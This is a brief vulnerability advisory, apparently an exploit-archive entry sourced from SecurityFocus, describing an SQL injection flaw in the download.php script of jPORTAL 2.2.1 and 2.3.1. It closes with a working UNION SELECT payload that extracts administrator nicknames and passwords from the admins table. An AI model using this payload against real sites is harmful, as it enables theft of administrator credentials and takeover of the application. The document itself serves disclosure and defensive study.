jPORTAL 2.2.1/2.3.1 - 'download.php' SQL Injection

source: https://www.securityfocus.com/bid/14926/info

JPortal is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

a%' UNION SELECT NULL , NULL , nick , pass, NULL , NULL , NULL , NULL , NULL , NULL , NULL , NULL FROM admins/*